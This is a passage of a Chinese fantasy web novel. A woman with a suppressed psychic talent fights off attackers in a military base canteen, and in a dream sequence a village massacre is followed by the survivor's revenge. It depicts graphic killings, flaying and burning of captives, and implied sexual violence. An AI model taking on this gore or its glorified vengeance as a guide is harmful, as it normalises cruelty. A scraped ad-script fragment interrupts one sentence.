他越贬低林北柔,就越是加倍贬低他自己,林北柔“讨好”的人,确实都强过他百倍。 他感到胸口一阵发闷,胸闷气短。 兜帽:“你,你——”他生平第一次词穷了。 林刚到胜身洲的时候,每个人都觉得她是司空晏的禁宠,这种名声跟了她一路,哪怕后来她修炼高手,他们也觉得她只不过是司空晏的玩物,一个炉鼎。 林北柔最开始也在意过,后来就突然想通了。 这些人怎么想她,关她什么事? 太在意别人的看法,本身就是一种弱者的势能。 顺着他们的话往下说,才能把他们气死。 跟司空晏混,没有杀戮是不可能的。 就算林北柔不想动手,因为她是司空晏的人,那些人都会想方设法地毒害她,杀死她,林北柔被逼到过极限,最后还是动手了。 别人怎么对她,她用那些人自己的手段,一一奉还。 林北柔也杀过那么一些修士,他们临死前,总会想办法羞辱林北柔,好像那样就能发泄他们没有出口的绝望和恐惧,有一个就说:“张开你腿,好好伺候那个无耻的剑魔吧,趁他还没把你玩腻!” 林北柔顺口就回:“反正没伺候你,你别想了。” 对方活生生被她气吐血了。 林北柔:“说完了吗?” 兜帽:“……” 兜帽词穷了,他旁边的人没有。 他旁边一个眉毛稀疏的人看了他一眼,给了他一个眼神,兜帽略感烦躁,他们当然不是无缘无故来接近林北柔的,但是他现在有点不知道拿林北柔怎么办,这个人油盐不进。 稀疏眉毛走了过去,拉开林北柔对面的椅子,坐下,椅子发出嘎吱刺耳声。 林北柔看着他,对方面相隐约有种凶相,眼睛有点三白眼,但整个神态很冷静。 稀疏眉毛:“前段时间,莫少将的父亲和妹妹遭遇意外双双去世了。” 林北柔没说话。 稀疏眉毛:“他人生里的意外有点太多了,每件都跟魏瑕有关系。” 林北柔依然没有说话。 稀疏眉毛:“我听说,你妈妈之前跟他父亲交往了一段时间?莫少将的父亲我们也见过,人很好,我查到他还帮你妈妈还过一段时间房贷?” 林北柔眨了下眼睛,没想到对方居然提到了林子倩。 不请自来强行侵犯她的社交边界线。 林北柔慢慢说:“那是我妈经济压力大,跟他借的,现在也都还清了,都是中年长辈,私人关系,你情我愿,和你有什么关系?” 稀疏眉毛:“当然,我们都觉得莫少将父亲的死不是意外,你当时是唯一接近过他家里人的外人,和修行者圈子沾边的外人,说不定,莫少将家里的意外,是魏瑕通过你制造的呢?你长得这个样子,魏瑕一手把你带进圈子,是不是跟令堂学的如何伺候男人?” 林北柔盯着他,项圈迸射出一道电流,窜过她身体。 这次天赋发动,远远不及之前飞机遇袭,她在水面下遭遇袭击者,无意间向袭击者发动的那次攻击,大概就是摔炮和榴弹炮的区别。 但对稀疏眉毛来说,这一下也是他不能承受的。 他眼前一黑,脑子晕眩到恶心想吐,那是直接作用于元神的致幻剧痛。 他好像看见了一片黑暗的密密麻麻什么东西在咕涌,宛如最恶心的虫潮,或者那不是虫子,而是更恐怖的非人异想,遮天蔽日,一种充斥了天地的恶意注视,劈开了那些虫潮,直直落在他元神上,强烈到让人想尖叫。 这种过于巨大的恶意,脓毒流淌,超过了人类的理解能力。 稀疏眉毛仅仅是体验了一秒的“属于四号的力量”,就陷入了僵直状态,外人看他好像楞在了原地,眼睛一眨不眨地盯着林北柔。 兜帽首先发现了不对劲,他上前拍了下对方的肩膀,喊他名字:“喂!你怎么了!” 林北柔其实好不到哪里去。 她感觉被粗如电缆的高压电流贯穿了骨头,用尽全身力气才没有倒下去,幸好她发动天赋的幅度控制得很小,项圈没有当场把她击晕。 一格幽幽的红色还是在黑色无光的项圈上亮起,某种无声警告。 项圈边缘的皮肤也泛起了蛛网一样的红痕。 兜帽看清了林北柔的脖子,瞳孔一缩,意识到林北柔干了什么:“你动手了?!” 愤怒刚刚冲上脑袋,一种震慑和深深的忌惮就阻止了他贸然行动。 一般的修行者,根本承受不住消灵圈一击,只要消灵圈亮起一格红色,佩戴者早就失去意识昏倒在地了。 林北柔只是坐在原位,嘴唇有些泛白,神智清醒,慢慢抬头,朝他扬了扬嘴角,尽管那并不是一个笑。 兜帽头皮发麻,仿佛透过她人畜无害的皮相,看见了底下某种本质,类似深渊一瞥,那即是编号者的场域。 但兜帽也不是一般人,他不是被吓大的,任务经验和训练经历让他不但没有选择撤退,反而升级了事态。 兜帽:“围住她!” 其他人也意识到林北柔动了手,一瞬间气氛紧绷到一触即发,他们散开并靠近,把林北柔角落的这张桌子包围了起来。 这时稀疏眉毛终于凭借意志力挣脱了那种梦魇一样的状态,他双手发抖,视野都是模糊不清的,椅子翻倒,踉跄后退,直到撞在了同伴身上。 他仇恨地看着林北柔,就像在看一个披着画皮的怪物,吼声嘶哑:“她违反了基地规定!拿下她!” 兜帽:“林北柔,这可是你自找的,在基地动手,你根本不知道什么后果。” 林北柔:“什么动手,不是你们先对我动手的吗?” 她看向那个稀疏眉毛,微笑着一字一字说:“你完了。” 林北柔正在适应自己的天赋,她自己也隐约感觉到这种天赋仿佛将她和某种不在这个世界的存在连接了起来,那种存在比千亿个深渊更深邃……每动用一次天赋,都有隐形的代价。 但林北柔是真的对他起了杀意。 稀疏眉毛看着林北柔说出了那几个字,他想不在意,却做不到,林北柔的脸和声音映入他眼里,好像涌动着看不见的虫潮,结构复杂,蜿蜒,湿滑如蛇,明明是那样光洁的脸,却宛如恶·魔。 她说他完了。 恐惧生出愤怒,一股激愤夺取了他的意志,他慢慢地从后背腰带刀鞘中抽出了一把长匕首,基地的非训练区域,普通军士被允许佩戴常规冷兵器。 兜帽:“别动刀!她消灵圈亮红了,她不敢来第二下的。” 兜帽没想到稀疏眉毛会拔刀,抬手让他把刀收回去。 稀疏眉毛阴沉道:“她不是人,必须把她带去莫少将上级那边,我要跟刘将军报告,起码刘将军跟他们不是一伙的,不会包庇她。” 兜帽对林北柔说:“你,站起来。” 林北柔坐着没动。 兜帽感觉到一阵焦躁,他怕引起远处其他人注意,压低声音狠声说:“编号者不能在基地随便动用修为,你刚才袭击了人,起来,跟我们去见刘将军。” 林北柔:“噢,如果我说不呢?” 兜帽伸手朝林北柔探过去,要抓住她胳膊,林北柔抬手,手腕把兜帽的手砸开了。 兜帽还没来得及反应,稀疏眉毛的长匕首就朝林北柔刺了过来,居然还是奔着要命位置去的。 兜帽:“喂——” 林北柔起身,稀疏眉毛的匕首刺了个空,他毕竟是正规基地修行者,第二下第三下接踵而至,如果是普通人早就被刺中了,林北柔却每一下都避开了,避开幅度很小,还特别巧,就好像她提前知道稀疏眉毛的动作。 稀疏眉毛低吼一声:“抓住她!不死不残就行!” 兜帽反应了过来,他们来这一趟本来就是有目的的,不如下手干脆点,直接把林北柔带走,时间拖越长反而越麻烦,为了带走林北柔,他们还找了个自己人去取餐区用正当理由绊住荀照乘。 这下所有人都袭向林北柔。 林北柔心里本来在衡量,到底是要拖到荀少校过来,还是硬上。 她也还是有痛感的,不是很想再被项圈电。 稀疏眉毛偏偏就在这个时候说了一句:“凭什么莫少将失去了家里人,你家里人还活着?有你这种被诅咒的女儿,你家里人迟早被你害死,说不定你父亲就是被你害死的。” 林北柔瞳孔微微一缩。 大脑自动闪过一些画面碎片,父亲周胜川的去世,其他平行世界中,浩劫来临,林子倩被污染了,最终先她一步离开……周阆屿也一样…… 如果她现在在的这个世界,是唯一一个林子倩还活着的世界呢? 林北柔还没反应过来,身体先于她意识动了。 那种感觉,就像表层意识退居其后,有什么本我觉醒一样,接管了她的身体。 这样的经历很少,但也不是没有,曾经在胜身洲,司空晏不在身边的时候,她被围攻到濒死,也有过像这样的体验。 把司空晏曾经灌输到她元神里的那些招式,全都用了出来。 眼睛一片虚无,身体柔软敏捷到不可思议,避开了四面八方袭来的人体,轻轻一跳,就跳到了所有人头上,后空翻,踩到了兜帽肩膀上。 林北柔有隐约的底线意识,不要杀人。 那个本我只是重击兜帽后脑勺穴位,让他直接晕了过去,他身体塌下去时,林北柔借由下落势能,跳到了旁边一人的背上,那个人很高壮,抓住林北柔脚踝,想把她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掀翻,同时其他人也都抽出武器攻向林北柔,林北柔无法避开。 她朝后仰去,利用脚踝为支点,倒挂在他背上,抽出他腰带上一把短管状武器,噼啪噼啪好几下,是那些人手臂和小腿被抽折的声音,林北柔最后那一下落在壮汉腿骨上,把他抽得跪了下去,松开了她的脚踝。 林北柔身体落地即翻转,以腰部为核心,腿像扫尾蛇一样连扫出去,绊倒了三个人,顺便抽得他们失去行动力,只能躺在地上拼命想支起上半身,第四个人情急之下什么都顾不上了,对林北柔发动了修为。 他的修为顺着冷兵器导过去,一束灵力流冲向林北柔,林北柔这次没有避开,灵力流瞬间打在她肩膀上,将她击得侧翻了过去。 不远处的人终于听到了他们打斗的动静,纷纷震惊地看了过来,正好看到这个人对林北柔用了修为攻击手段。 在其他人眼里,林北柔手向后反掌支撑着身体,黑发散落,看不清脸上表情,还穿着和其他人截然不同的米白亚麻裙,看上去毫无抵抗,而那个用了灵力的人,和拿着长匕首的稀疏眉毛,一左一右逼近她。 怎么看都是被欺负的场面。 有人起身观望,有人忘了带通讯终端,赶紧催促同伴:“喂!快叫执勤过来!”执勤人员负责巡逻基地日常安全,处理这一类突发事件。 左边的人举起短管,直接朝林北柔脑袋抽了下去,想把她抽晕。 右边稀疏眉毛拔刀刺向林北柔脚筋,想瓦解她的行动力。 林北柔项圈上亮起了第二个红格。 她眼睛一眨不眨,盯着对方,轻轻闷咳两下,鼻子和嘴里沁出鲜血。 左边的人动作僵停,手臂无力垂落,短管从手上掉落,整个人像被按了暂停键,表情扭曲,好像看到了什么极其恐怖的东西。 稀疏眉毛刚才中招过一次,有所准备,勉强避开了林北柔的天赋冲击,他和林北柔对上视线,心跳漏了半拍。 林北柔瞳孔深处有一点蓝紫色,就像遥远星河的反光。 跪下。 一道冰冷意志直接在他大脑中响起,稀疏眉毛瞳孔震颤,用尽最后力气握住长匕首,努力让元神不被那道意志支配。 林北柔项圈上第三个红格亮起,她脖子上蔓延出很多红色纹路,那是皮下出血。 稀疏眉毛砰的一声,双膝砸在了地板上,直直地跪了下来,头耷拉着,如同一个罪人,林北柔在刚才一瞥间,看到了不少他的过去,这个人不配当什么修行者。 林北柔捡起对方的长匕首,慢慢站了起来,随便抬起一条腿,脚尖碰到了对方的喉咙,轻轻向前一顶,对方就轰然倒地,林北柔那只脚就踩在他脖子上,手腕活动了下,把匕首换成反手持握,居高临下看着他。 “喂——你是谁——放下武器!”周围有人觉得不对劲了,怎么受害人反而突然反杀,一对多还撂倒了整整五个基地军士,这几个人还都是世家出身,平时一向不把其他平民出身的军士放在眼里。 林北柔不理睬周围,眼帘半阖,不阴不晴地盯着被她踩在脚下的稀疏眉毛,音量寻常地说:“不会说话,以后就都别说了。” 言出法随的力量落下。 稀疏眉毛感觉喉部一阵剧痛,事实上他的喉咙没有遭受一丝物理损伤。 林北柔的攻击,是直接作用于他元神上的。 起码在相当长的一段时间里,他无法消化掉四号的灵力,他就没办法再开口讲话。 林北柔的身体也到了极限,那个本我好像用光了蓝条一样,缓慢退居其后,把身体控制权交给平时的林北柔。 林北柔这才感到全身哪里都痛,鼻血疯狂地流了出来,根本止不住,她不得不向前低头,免得弄脏刚换上的衣服,这件衣服是二号留下来的,她不能弄脏它。 以上全部都发生在五分钟之内。 林北柔身体轻微摇晃了下,觉得很漫长,其实时间才过了一点点。 执勤赶到了,他们看见林北柔旁边倒了一地人,一个个一动不动,林北柔弓着腰抹鼻血,还反手握着一把长匕首,长发长裙,明明从外形上看她才是柔软无害的那个,这一幕却造成一种奇怪而后劲很深的威慑。 这些人之前只是听说过林北柔,没人相信她是四号。 但现在,所有人脑子里都无法摆脱她就是四号这个念头。 当执勤之一看清林北柔的消灵圈已经亮了三格,而她本人竟然还能站立时,他眼神剧变,内心油然确定了,眼前这个年轻女性,确实是四号。 执勤沉声说:“暂时解除她的修为,带她去禁闭室,请示负责人。” 他同事点点头,两个人都端起法器,娴熟地瞄准了林北柔。 林北柔视野模糊,她现在抬不起手,也没办法才发动天赋了,感觉整个人被榨干了一样,实在支撑不住,慢慢单膝蹲了下去。 执勤不慌不忙,准星瞄得很稳。 这种法器发射的镖器能迅速麻痹对象元神,让她短时间内不能动用修为。 林北柔视线昏暗下来,人摇摇欲坠了几秒,倒了下去。 镖器迅疾射出。 当啷一声,一个餐盘飞出,把两个镖器打飞出去,扎在了远处地上。 荀照乘赶到了林北柔面前,一把捞住了她,林北柔感觉到自己靠在了一个坚实熟悉的人体上,就像过去两天她在车上睡着时,靠在对方肩膀上一样。 身体好疼……疼得让她想给自己打十针麻醉,林北柔放心地失去了意识。 执勤:“荀少校?!” 荀照乘排队的地方离这边呈对角线,距离最远,他排队时隐约听到远处有一点声响,不足以引起注意,周围排队的人也都没听见,荀照乘看了过去。 然后他就赶过去了。 荀照乘把林北柔背了起来:“这几个袭击她的人是谁?” 执勤:“……” 这句陈述好像对劲,又好像有一点不对劲,他们刚刚接到说林北柔被包围,等他们赶到,唯一站着的就是林北柔。 旁边有军士干脆利落说了句“报告少校”,然后噼里啪啦就把那几个人名字报出来了。 荀照乘点点头,对执勤说:“把他们几个送到禁闭室。” 荀照乘的职衔和军衔摆在那边,执勤点点头:“是,少校。”他们收起法器,指挥其他人把那几个不能动的人搬到了摆渡车上,准备一并拉去禁闭室。 荀照乘背着林北柔一路出了食堂,去了医务室。 73. 第 73 章 林北柔视野变得很低很矮。 她还从来没这么近地观察过土壤本身,草籽散落其间,草尖带露,散发出好闻的草香,让她想张嘴嚼啊嚼。 这是在野外,水流声很大,很湍急,前面是一条河,河滩上很多水生植物和鹅卵石,一汪深池在岸边蓄积起来,空气潮湿而新鲜,微风和煦。 林北柔倒是待在一个干燥的草垫子上,旁边还有两个小碗,一个碗里装着粮食,一个碗里装着水。 林北柔一蹦一蹦过去,小舌头舔了好几下水,水碗里映出个倒影,哦,原来她是只兔子。 林北柔喝完水,开始用爪子揉脸,耳朵都揉得撅过去,一下一下,把脸上毛毛洗干净。 洗完她抬起头,朝另外一边跑了两下,看到一大块扁平的石头上,坐了个穿褐色布衣的少年,戴着草帽,手腕和脚腕上都缠着带子,把袖口和裤脚扎起来,方便活动。 他正在钓鱼,林北柔首先看见的是他如玉如画、冷漠无表情的侧脸。 鱼竿就搭在石头上,长长地伸出去,水面泛起水圈,少年拿起鱼竿,钓线甩出水面,一条肥美的鳟鱼活蹦乱跳被甩上了岸,正好反弹到鱼篓里面,少年头也没回一下,继续钓鱼。 林北柔跑到鱼篓边,好奇地闻了闻,不喜欢鱼腥味,退开了,跑到少年脚上踩来踩去,抬起上半身,像条小狗一样攀住少年的腿找存在感,抬起脑袋看着少年,少年低头看着兔子。 林北柔看清了他的五官,清秀漂亮,英气十足,有一点像司空晏,又不完全相同。 好像那些五光十色霞光离谱的天阶灵玉没有被雕琢之前的原矿素胚。 他看起来有两成像司空晏,却有六成像荀照乘,相同点是眼睛大而深邃,顾盼有神,睫毛很长,下睫毛都有阴影,不是那种看起来干巴巴瘦竹竿一样的书生样子,脸庞匀称立体,一点不柔弱,嘴唇上薄下厚,唇棱起伏,下颔线条清晰,喉结突出,手臂,腰身和腿长都看得出是个习武之人。 一旦长成青年,不知道将会多么郎艳独绝。 林北柔很纳闷。 为什么她会看到司空晏还是荀照乘年少时候的样子? 很疑惑,但她现在只是只兔子,头脑简单,念头一晃而过,就没有深究了。 “待会再带你去另一边吃草,给你带了粮食,你也不吃,还有比你更挑食的兔子吗?” 少年开口了,懒懒的,并不烦躁,自有种和年纪不符的情绪稳定,林北柔在他说话时,神奇地能感知到他的想法,兔子是他三个妹妹在野外捡回来的,一窝都死了,就剩了这一只,大概有一点灵宠血统,每天活力十足,三个妹妹喂了一段时间,就扔给了他,他们父母是一对朴实的农户。 父母和妹妹们长相都不出众,和村子里的人一样,黝黑,方圆脸,笑容大大的,大妹妹和隔壁村的青年看对了眼,两方父母也都见过,预计明年就嫁娶,二妹妹喜欢屯子上一个退伍老兵,三妹妹只喜欢到处串门吃糖,还没到开窍的年纪。 少年确实是亲生的,却像那些传说中的修仙之人一样,从小就漂亮得很突出,好像一只仙鹤落在了野雁群中,长大了因为成天干活风吹日晒,还练武,皮肤深了些,很健康匀净的热沙色,村里的姑娘在路上见了他,都会害羞得互相挽紧手臂,大胆点的会跟他打招呼,少年也会点一点头。 谁不知道,少年是十里八乡远近闻名最漂亮的年轻小伙子了,有一次连县丞见了他,都当场坚持要出钱让他去读书,考个功名,可惜少年天生习武料子,不是读书的料,说自己以后或许会当兵,县丞只得遗憾作罢,可惜家里没女儿。 少年刚出生就粉妆玉琢,比县城商帮行首家里生的小儿子还漂亮,夫妇俩都觉得这莫不是神仙托生的罢,稀罕之余深感不安,怕小孩养不好回天上去了,先是取了个贱名当小名,然后特意去请了村子里的教书先生给娃娃取个文雅的大名。 教书先生平时爱喝点小酒,见了被家里人裹在襁褓里珍重捧出的小娃娃,还以为见到了上京满月,海底明珠。 教书先生唔了一声:“皎洁沉泉水,荧煌照乘珠,此子即名照乘。” 除了长相,少年其他方面倒是和村子里同年龄段的人没啥不同,也会和伙伴出去喝酒,打猎,混时间,大部分时间都在帮家里干活,能认很多字,但达不到吟诗作对的水平,看习武秘笈不费劲就行了。 他跟其他人来往时,也很合群,也会揶揄,打趣,说笑,嘲骂别人,跟关系最好的伙伴说话时,甚至还有点毒舌,会说官话,也会说村子里的土话,他很聪明,大概有三分书本上的聪明,七分街巷社会人心上的聪明,从来没吃过亏,知道该怎么避开不必要的险情,不会陷入困局,但不屑于阿谀奉承,也不说假话。 林北柔就算作为兔子,也觉得不可思议,这个少年的气场太普通人了,有血有肉,非常阳间,假若是司空晏他老祖宗,光是阴森森出现第一秒,就如同一座缓缓升起的巨塔黑影,方圆百里内所有人必定作鸟兽散。 少年钓完鱼,拎起鱼篓,收拾了兔子的小碗,把兔子放到腰间的小箱笼里,里面还垫了碎花布头,是三个妹妹给凑的,她们只喜欢摸兔子,真要天天照顾,就不得空了。 他把林北柔带去另一边刚长出的青草地上,让她随便吃草,这里的草跟别的地方不一样,兔子很爱吃,吃了拉粑粑都不臭,就算偶尔在院子里乱拉,娘和爹也不会说他们。 少年顺便在旁边挖了些可以吃的块茎,还有野生的葱,打算和鱼一起炖鱼汤,装进竹篓里面,喊兔子:“包谷猪,过来,该回家了。” 林北柔还在嚼嚼嚼,只当没听见,少年喊了两声,不紧不慢走过来,从她身后接近,两手连她腋窝和屁股墩一并端起,情绪稳定地吐槽“你这只包谷猪,除了吃就是成天乱跑,越狱多少次了”,一边手法很轻地把她放进箱笼里,带着满载而归的鲜鱼和山货。 从打猎点回到村子里那条路很熟悉,不熟悉的是道路尽头橘红的波动的光。 目之所及,火光冲天,吞没了村子里远近院落,凄厉的惨叫和哭喊此起彼伏,伴随陌生口音的粗粝吆喝和叱骂,早上他路过的最后一户人家,说等他回来要送他一块胆水豆腐的那个独居老爷爷,尸体就挂在院墙上,血顺着墙一直往下流,浸透了庄稼人干活穿的粗麻布服,染透了墙面。 深可见骨的刀伤,被人一刀从后面砍过去,又贯穿了胸腹。 是兵匪。 他们这个地方避开了所有兵家必争之地,在非常偏僻隐世的地方,敌军战败的兵匪是怎么流窜到这里的,又怎么发动了突袭,死去或者将死的村民,怎么都想不明白。 少年冲进火里,看见了很多尸体,有男人的,也有女人的,男人反抗过,死的比那个老爷爷还惨烈,女人不少被扒了衣服,死不瞑目袒露着,脖子上一圈勒痕,是被掐死的,但远处还有女人在哭叫,那些兵匪想带走她们。 孩子的尸体也到处都是,还有一两岁的奶娃娃,少年叫得出他们每一个的乳名,很多他都抱过,没抱过的也是大孩子了,带他们去抓过田鸡和天牛,给鹌鹑设陷阱,教他们初步的打猎技术。 木梁在燃烧,火势大得不正常,很多房子瞬间烧光成一个摇摇欲坠的空架子,甚至朝地窖烧下去,躲在家中地窖的存活者被困死,浓烟滚滚,绝望地窒息。 鱼篓和竹篓都被扔掉了,少年以最快速度朝家里方向冲去,心脏的震荡声大到林北柔有种地震的错觉,她在箱笼里颠簸着,隔着篾片缝隙,毛发奓起,兔眼静静望着外面一笼之隔的人间地狱。 少年看清家里时,目光缩成针点,反射出金红的焰光,在光中有阴影,那是几个兵匪正举起刀,刺进了他爹的胸膛和后背,他爹无力地仰起头,发出无声嘶吼,手里还死死抓着斧头,他脚下是娘和妹妹们的尸首。 兵匪们发出肆无忌惮的嘲笑,好像他们从中取得了很大乐趣,拔出刀刃又扎了进去,他爹抽搐了两下,身体软塌下去,彻底没了声息。 少年眼睛睁得极大。 林北柔不知道兔子是怎么叫的,她确实听见自己叫了起来,是一种唧唧的声音,很小,被周围杂声吞没,几乎听不见,那是一种愤怒悲伤的声音,摇撼着她的灵魂,让她胸口闷痛酸沉。 少年的眼睛代替了他的感情,接收了眼前的画面,脑海消化着信息。 娘和妹妹们拿起农具和爹一起反抗了,兵匪来的诡异且人数众多,村子仿佛被封印了一层结界,出了那条线,就听不见任何动静,邻村先一步被屠村,也是没有一个人逃出来,否则邻村的人早就跑来报信示警了。 为了不被兵匪玷辱,眼见敌不过对方人多势众,娘带着妹妹们用农具结束了自己的性命,爹怒吼着守卫她们尸身到了最后。 少年悄无声从墙角取了一把镰刀,在那几个非人渣滓想对尸体动手时,迅疾如影袭了上去,他留的刀口够深,但不会一刀毙命,那些人的手脚被迅速挑断,倒在地上,不可置信地看着脸上溅血俯视他们的少年,少年的镰刀片下他们的皮肉,几乎把他们剥了皮,再把这些血肉模糊不成人形的东西拖进了火里,让大火一点点从他们脚底舔上去,直到他们全身被烧,拼命打滚,惨叫,就像一根根烧得很旺的柴火。 少年找到了剩下的兵匪,如法炮制,全部杀光了。 在做这些的时候,他的眼睛没有高光,没有神,只有火光机械反射的光点。 林北柔就挂在这个修罗死神身上,看着他把人间地狱变成了十方无间魔狱。 村子中央是大祠堂,他浑身浴血朝那边走过去,脚步有些迟滞,他也受了伤,林北柔身上的兔毛甚至被他的血打湿了,她缩成一团。 祠堂里有一个模样像是道人、衣袍十分干净的人,还有其他几个披甲之人,看到少年之后,都显出惊讶之色。 道人忽然露出个笑容:“人祭这法子,孽障太重,果然就容易出意外啊。” 少年拾起镰刀朝他掠过去,披甲士兵和他战在了一起,不知过了多久,少年杀死了他们,自己也重伤了,一条腿被砍伤,汩汩流血,只能单膝触地,靠墙支撑,他满头满脸都是血,一双湿润又黑白分明的眼球,缓缓滚了滚,直直盯着道人,眼仁完全露出,就像被他钓起来的那些鱼。 道人甩了下袖子,十分悠闲,他连鞋底都是一尘不染:“你啊,教你的师傅不错,你是个习武天才,你的心里,有杀戮的种子,把你带回去,说不定可以养出个上佳的剑修傀儡,可惜了,没那个闲时间,就这样吧。” 他沾了下茶杯,指尖一弹,两滴茶水如银线掠过,和冲过来的少年相遇了,无限漫长地穿透了少年的眉心,穿过了他的颅脑,在痛觉远来不及传导完成之前,杀死了他。 少年倒在了地上,箱笼滚了好几圈,滚到了角落,被杂物遮住。 林北柔看见少年躺在地上,道人像经过一块破布一样经过他身边,顺手划了根火柴,往身后一丢,火柴划出圆满的抛物线,落在了少年旁边的蒲团上,过了两秒,初生的火苗迅速蔓延,烧上了供桌的红布。 道人扬长而去,祠堂陷入火海。 林北柔终于奋力挣脱了箱笼,顾不得毛边缘被烤焦,飞窜到少年旁边,拼命翕动鼻子嗅闻他的呼吸,没有呼吸,他死了。 兔子发出一声没人能听见的微弱哀鸣,在翻倒的神台旁边胡乱蹦跳,兔脚快速踢打杂物,状若疯狂,试图找到能让少年起死回生的东西,她不知道那是什么,但模模糊糊有种直觉。 她找到了。 一个比巴掌还小的小葫芦,刚才那个道人落下的,塞子也掉了,一粒红色丹丸滚了出来,在火光下越发鲜艳如血,兔子衔起丹丸,跳了两下,趴到少年下巴上,把丹丸推到了他嘴里,丹丸融化在了他舌尖。 因为三瓣嘴接触到了丹丸,兔子在少年缓慢睁眼的过程中,就停止了呼吸。 少年爬了起来,鲜血覆盖的手抱起了兔子,拿起了镰刀,就像一个刚死而复生的僵尸,骨节咔咔作响,关节僵硬,眼睛雾蒙无光,跌跌撞撞,踉踉跄跄地走了出去,一路穿过火海,火舌舔舐上他的衣服和皮肤,又悄然熄灭。 九年后。 一个侧脸有烧伤的英俊沉默的青年,正在一处兵修宗门做日常练功,他身材高大体格也健硕,背肌上有很多纵横的伤口,脸上没有烧伤的那一边,长得十分漂亮,却又不是那种文弱小白脸,不会让其他兵修对他产生不喜,其他人反而会赞叹他相貌堂堂,开一些无伤大雅的玩笑,友善调侃。 青年对人际交往也没什么不正常的态度,任务完成后,他也会随大流,跟其他人一起喝酒,聊天,只是通常都像一个影子一样盘踞在角落,沉默少言,在战场上,他对敌人比其他人都更冷漠,有些手法狠到让其他老兵修看了都胆寒。 修士和修士之间也有战争,大宗门之间抢夺灵脉引发世代纷争,不想折损菁英弟子,就会雇佣兵修,青年所在的兵修宗门是佼佼者,数一数二的门派。 而青年是这一批的兵修里的战力榜首。 他不仅可以和其他兵修配合进行围剿攻占,还可以单独执行刺杀,没有一次任务失败过。 和他关系算最熟的同伴注意到,青年每随任务辗转一个地方,都会打听当地门派有没有一个道人,那个道人是他手动画出来的,画得很仔细,画工也很好,形象特征模糊,修士里面十个有八个是这么穿的。 胜身洲太大了,洲岛无数,还有许多无人抵达过的小世界,不计其数的秘境,要找一个大众脸的道人难如登天,比在大海里捞针还难。 直到他们在执行一个任务时,抵达了胜身洲最神秘最巍峨的第一古老仙宗,太乙天都。 太乙天都有数千座山脉绵延,河川更是数不胜数,境域辽廓,胜过无数凡间大国,占据了四分之一中洲,青年所在的兵修宗门驻扎在了其中一个大城池,他们要跟太乙天都的一批修士合作,进入一个九千年开一次的秘境,取一件其他大仙宗都想争夺的先天灵宝。 据说太乙天都的掌门有意在他们这些兵修中挑选出菁英弟子,收为太乙天都内门弟子。 主峰成群结队的修士御剑下山,抵达城池,和兵修们一同演习,为进入秘境做准备。 其中一个年轻修士买东西时掉了个别致的葫芦,被青年看到了。 葫芦上的徽记,他见过,曾经那个放火屠村、又用两滴茶水杀死了他的道人。 青年上前询问,年轻修士回答说这是太乙天都各大峰头内门亲传弟子才有的须弥葫芦,这是一个大师兄送他的,有这种葫芦的修士,少说也有几百个。 青年得知这次秘境取宝,因为其他大仙宗也会出动,其中不乏和太乙天都敌对的,因此亲传弟子会出动一大半。 那个仇人道人,说不定就在其中。 秘境降临,于巨大的断崖之间,豁开一道星云般的深渊,体积过于巨大,如深海鲲鹏一般旋转变幻。 青年和其他兵修们,听从了宗主的命令,跟随太乙天都的修士们纵身跃下。 他在宗门待的时间不多,通常都是带兵出征,宗主是他的上级,对他有收留之恩,每次任务如何执行,都是宗主把控大方向和战略。 进入秘境后,凶险程度超过所有人想象。 他们死了很多人,不仅要和秘境里那些巨大而奇异恐怖的非人存在战斗,还要和其他仙宗的修士杀个你死我活,甚至还遇到了为了争夺宝物的内斗和阴谋。 很多人仅仅是轻轻呼吸了一下,就因为吸入了不明魔物的孢子,被寄生致死,沦为没有神智的怪物。 他们每个人都曾经是英姿飒爽的修士,或者是魁梧强壮的兵修,一生功绩荣耀,儿女情长,全沦为不知何物,往事空空,无迹可寻。 青年战斗修为强悍,直觉敏锐,避开了和这些人一样的命数。 他在那些死去修士的遗体中间穿行,用灵力让他们显出真容,没有一个是他要找的。 兵修宗门的宗主事先告诉他。 “太乙天都的掌门请我们到了秘境后,帮他办一件事,这件事也只有你能做到,他想找出门派里的内奸,等找到先天灵宝后,那个内奸一定就在存活的人之间,他一定会夺取灵宝。” 青年在秘境里遇到了一个小小的插曲,他遇到了一窝灵兔,还有它们的双亲,其他人想要这些灵兔的皮毛,柔软如月光,能织成极其上乘的毛料,青年没有让其他人动那窝兔子,反而放它们跑了,其他人不解,差点跟他打起来,但是打不过青年,一个个被青年打得鼻青脸肿,只能被迫认栽。 晚上歇息时,青年守夜,远处出现一团毛茸茸的影子,是那对灵兔中的母兔回来了,它没有靠近,观望了青年一会儿,掉头就走了,在原地留下一颗奇异的小珠子,比小拇指尖还小,黑色的,无色无味,看上去像什么果实的种籽。 青年把那枚珠子捡起来收好了。 接下去的路程艰难凶险翻倍,就算是青年,也数次中招,差一点丢了性命,最后用通天大圆智镜观察他们的宗主,给他们传音入密,两句话指明逃生方向,救了他们。 他们终于抵达最终点,看见了先天灵宝,进入秘境时他们有五千人,现在只剩下不到二十个。 敌对仙宗冷不丁出现了,他们陷入殊死残酷到灭绝人性的战斗,最后屠灭了对方宗门。 青年拿到先天灵宝,把它交给了太乙天都仅剩的三个修士其中一个。 先天灵宝没有固定形态,只是一团变化不定的光和气,仿佛来自更上维的世界,光华灼灼,靠近那个修士,照出了他的真容。 坚毅的脸庞融化消失,取而代之的是一张没有特别记忆点的大众脸,也是青年找了很久在梦里用各种手段杀死过千万遍的脸。 青年自从来到兵修宗门,还从来没像现在这样真正笑过,笑容半阴半晴,淬了毒又像灌了蜜,或许二者兼有,他微笑着问:“这位前辈还记得我吗?” 大众脸修士顿了顿,生出一股不详的预感。 当他搜索元神,将记忆中少年的脸和眼前这个半毁容青年的脸重叠在一起时,已经晚了。 大众脸修士:“是你……” 青年随手松开先天灵宝,先天灵宝飘远,内奸终于出现,他迅速上前想要抢夺先天灵宝,被另外一个太乙天都的修士和剩下两个菁英兵修阻止,青年对背景血肉横飞的混战听而不闻,伸出手掐住了大众脸修士的脖子,将他提离地面。 大众脸修士喉咙喝喝作响,脸色紫胀,眼珠暴突,他用了修为,却像石头打进深水一样,溅不起半点水花,他没有想到,当初那个像草芥一样被他杀死后毁尸灭迹的少年,如今修为如此深不可测。 这才短短十年。 他是怎么封住自己元神的,这怎么可能呢…… 大众脸修士突然想到,他是丹凝灵相的元婴期修士,青年不可能跨越修为升阶的限制,真的反制他,青年必定是用了什么外力手段。 